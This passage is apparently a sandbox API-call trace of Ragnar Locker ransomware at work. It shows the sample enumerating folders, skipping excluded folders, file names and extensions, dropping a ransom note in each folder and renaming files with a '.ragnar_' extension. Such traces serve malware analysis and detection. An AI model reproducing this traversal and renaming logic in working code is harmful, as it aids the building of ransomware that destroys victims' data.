ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.522] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.522] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1a8c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0078.523] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0078.523] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0078.523] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.523] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec9db80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.523] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.523] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.523] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Windows") returned -1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Windows.old") returned -1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Tor browser") returned -1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Internet Explorer") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Google") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Opera") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Opera Software") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Mozilla") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="Mozilla Firefox") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="$Recycle.Bin") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="ProgramData") returned 1 [0078.523] lstrcmpiW (lpString1="Services", lpString2="All Users") returned 1 [0078.523] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0078.523] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="Services" | out: lpString1="Services") returned="Services" [0078.523] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\" [0078.523] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Services\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\" [0078.523] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\RGNR_FD7BD9FC.txt" [0078.523] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\services\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.525] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*" [0078.525] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0078.525] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.525] lstrcpyW (in: lpString1=0x1ebcda, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.526] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.526] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.526] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.526] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.526] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0078.526] lstrcmpiW (lpString1="verisign.bmp", lpString2=".") returned 1 [0078.526] lstrcmpiW (lpString1="verisign.bmp", lpString2="..") returned 1 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0078.526] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.526] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0078.526] lstrcpyW (in: lpString1=0x1ec0ee, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.526] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Services\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.526] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.526] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0078.526] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Services\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0078.526] lstrcpyW (in: lpString1=0x1ec0ee, lpString2="verisign.bmp" | out: lpString1="verisign.bmp") returned="verisign.bmp" [0078.526] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned=".bmp" [0078.526] lstrcmpiW (lpString1="verisign.bmp", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="autorun.inf") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="boot.ini") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootfont.bin") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootsect.bak") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootmgr") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootmgr.efi") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootmgfw.efi") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="desktop.ini") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="iconcache.db") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="ntldr") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="ntuser.dat") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="ntuser.dat.log") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="ntuser.ini") returned 1 [0078.527] lstrcmpiW (lpString1="verisign.bmp", lpString2="thumbs.db") returned 1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".db") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".sys") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".lnk") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".msi") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".drv") returned -1 [0078.527] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1 [0078.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0078.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.528] CloseHandle (hObject=0xffffffff) returned 0 [0078.528] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" [0078.528] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.ragnar_FD7BD9FC" [0078.528] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.529] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0078.529] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.529] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2=".") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="..") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Windows") returned -1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Windows.old") returned -1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Tor browser") returned -1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Internet Explorer") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Google") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Opera") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Opera Software") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Mozilla") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="Mozilla Firefox") returned 1 [0078.529] lstrcmpiW (lpString1="SpeechEngines", lpString2="$Recycle.Bin") returned 1 [0078.529] lstrcmpiW 